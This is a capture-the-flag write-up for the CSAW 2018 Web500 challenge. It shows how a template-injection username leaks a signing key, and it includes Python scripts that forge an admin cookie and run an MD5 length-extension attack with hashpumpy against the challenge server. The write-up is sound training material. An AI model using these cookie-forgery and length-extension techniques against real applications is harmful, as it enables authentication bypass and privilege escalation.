CASW CTF 2018 Web500 Write-up
Created At: Sep 19, 2018Description
C S A W
C T F
It is a period of civil war.
Rebel hackers, striking
from a hidden base, have won
their first victory against
the evil DBA.
During the battle, Rebel
spies managed to steal secret
plans to the DBA's
ultimate weapon, WTF.SQL,
an integrated framework
with enough buzzwords to
host an entire website.
Pursued by the DBA's
sinister agents, You, the
Player, race home aboard
your VT100, custodian of the
stolen schema that can save
the animals and restore
freedom to the internet.....
Your mission is to read out
the txt table in the flag
database.
Enjoy :>
Information Gathering
- Open the challenge, we can see a greating page for register our account.
- With deeper analysis, we found the robots.txt file, which tell us all the routes and its handler name.
User-agent: * Disallow: / # procedure:index_handler Disallow: /admin # procedure:admin_handler Disallow: /login # procedure:login_handler Disallow: /post # procedure:post_handler Disallow: /register # procedure:register_handler Disallow: /robots.txt # procedure:robots\\_txt\\_handler Disallow: /static/% # procedure:static_handler Disallow: /verify # procedure:verify_handler \\# Yeah, we know this is contrived :(
- With the verify route, we are able to get part of the source code of this program.
Analysis
Setp 1
In this problem, first step is to browse the /admin
route, in order to do that, we should make our is_admin_cookie == True
After analysis the login_handler
, login
procedure, we found that set_cookie
is used to set our cookie, which is used for judging whether the user is admin or not.
Inside this set_cookie
, we found that the application uses sign_cookie
procedure and secret key (signing_key
) saved in config
table to sign the cookie.
-- sign_cookie
BEGIN
DECLARE secret, signature TEXT;
SET secret = (SELECT `value` FROM `config` WHERE `name` = 'signing_key');
SET signature = SHA2(CONCAT(cookie_value, secret), 256);
SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));
END
Now we know our first step is to find a way to get the value of signing_key
.
My team’s analysis begins with the index page, where our teammates thought there may be a SSTI.
After digging into the logged_in_index_handler
, we found template
and template_string
is used for rendering the page.
In the template_string
procedure, we found that all the strings satisfy regex '\\\\$\\\\{[a-zA-Z0-9_ ]+\\\\}'
will be replaced with some specific variable in the application, which is set up by populate_common_template_vars
.
-- template_string
BEGIN
DECLARE formatted TEXT;
DECLARE fmt_name, fmt_val TEXT;
DECLARE replace_start, replace_end, i INT;
SET @template_regex = '\\$\\{[a-zA-Z0-9_ ]+\\}';
CREATE TEMPORARY TABLE IF NOT EXISTS `template_vars` (`name` VARCHAR(255) PRIMARY KEY, `value` TEXT);
CALL populate_common_template_vars();
SET formatted = template_s;
SET i = 0;
WHILE ( formatted REGEXP @template_regex AND i < 50 ) DO
SET replace_start = REGEXP_INSTR(formatted, @template_regex, 1, 1, 0);
SET replace_end = REGEXP_INSTR(formatted, @template_regex, 1, 1, 1);
SET fmt_name = SUBSTR(formatted FROM replace_start + 2 FOR (replace_end - replace_start - 2 - 1));
SET fmt_val = (SELECT `value` FROM `template_vars` WHERE `name` = TRIM(fmt_name));
SET fmt_val = COALESCE(fmt_val, '');
SET formatted = CONCAT(SUBSTR(formatted FROM 1 FOR replace_start - 1), fmt_val, SUBSTR(formatted FROM replace_end));
SET i = i + 1;
END WHILE;
SET resp = formatted;
DROP TEMPORARY TABLE `template_vars`;
END
-- populate_common_template_vars
BEGIN
INSERT INTO `template_vars` SELECT CONCAT('config_', name), value FROM `config`;
INSERT INTO `template_vars` SELECT CONCAT('request_', name), value FROM `query_params`;
END
In populate_common_template_vars
, we know we can use ${config_signing_key}
to get the sign key, but when trying to post ${config_signing_key}
directly into the system, it returned Banned word used in post!
.
So it can’t be done with the post, but we still have another option: the username.
So after register with name as ${config_signing_key}
, we get the signing_key
.
Then set the cookie admin
to 3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431
#coding=utf-8
import hashlib
signing_key = "an_bad_secret_value_nhcq497y8".encode("utf-8")
m = hashlib.sha256()
m.update("1".encode("utf-8"))
m.update(signing_key)
# hex(ord('1'))
print(m.hexdigest() + '31') # 31 is hex of '1'
# 3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431
Now we can see the /admin
page, but without any functionality.
Step 2
In order to get all the functions in /admin
page, we need to have priviledge panel_create
and panel_view
Now it’s time to analysis the has_priv
prodedure.
-- has_priv
BEGIN
DECLARE privs, cur_privs, cmp_priv BLOB;
DECLARE hash, signing_key TEXT;
SET o_has_priv = FALSE;
SET privs = NULL;
CALL get_cookie('privs', privs);
IF NOT ISNULL(privs) THEN
SET hash = SUBSTR(privs FROM 1 FOR 32);
SET cur_privs = SUBSTR(privs FROM 33);
SET signing_key = (SELECT `value` FROM `priv_config` WHERE `name` = 'signing_key');
IF hash = MD5(CONCAT(signing_key, cur_privs)) THEN
WHILE ( LENGTH(cur_privs) > 0 ) DO
SET cmp_priv = SUBSTRING_INDEX(cur_privs, ';', 1);
IF cmp_priv = i_priv THEN
SET o_has_priv = TRUE;
END IF;
SET cur_privs = SUBSTR(cur_privs FROM LENGTH(cmp_priv) + 2);
END WHILE;
END IF;
END IF;
END
The priv
cookie is md5(priv_signing_key + privs) + privs
now it seems like a md5 hash length extending attack to me, so using Hashpump to crack that.
#coding=utf-8
import requests
import hashpumpy
import binascii
import hashlib
# 61adb96e3b0506f40eeb64d87790a41c0b404eac7f8617bdff94332ecd5a1b3a3630663063633634663562363333636635303264323565613536316139386266
# 3630663063633634663562363333636635303264323565613536316139386266 s[64:]
# 60f0cc64f5b633cf502d25ea561a98bf unhex
if __name__ == "__main__":
for i in range(1,33):
res = hashpumpy.hashpump("60f0cc64f5b633cf502d25ea561a98bf", "\\x00", ";panel_create;panel_view;", i)
# use res[1] as res[1][1:] to ignore the first byte!
res0 = res[0]
res1 = binascii.hexlify(res[1][1:]).decode("utf-8")
m = hashlib.sha256() # sha256 (
m.update(str.encode(res[0])) # (md5(signing_key, privs)
m.update(res[1][1:]) # + privs)
m.update(str.encode('an_bad_secret_value_nhcq497y8')) # + secret)
priv = m.hexdigest()+ binascii.hexlify(str.encode(res0)+res[1][1:]).decode("utf-8") # + (md5(signing_key, privs) + privs)
cookies = {
"email": "6187c0f95679fc98549c6173424de91ec297bac6f4ee33915c9b7aecc297cca57465737475736572313233",
"admin": "3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431",
"privs": priv
}
req = requests.get("<http://web.chal.csaw.io:3306/admin>", cookies=cookies)
if len(req.text) != 287:
print(priv)
break
# e516f13d8bd7e252f631fa0926c9e2e4ab6269495248955b93cd6d89da89c37132323332366463383663653937363732623965376637376661343863393236388000000000000000000000000000000000000000000000000000000000000000c0000000000000003b70616e656c5f6372656174653b70616e656c5f766965773b
finally, get the flag!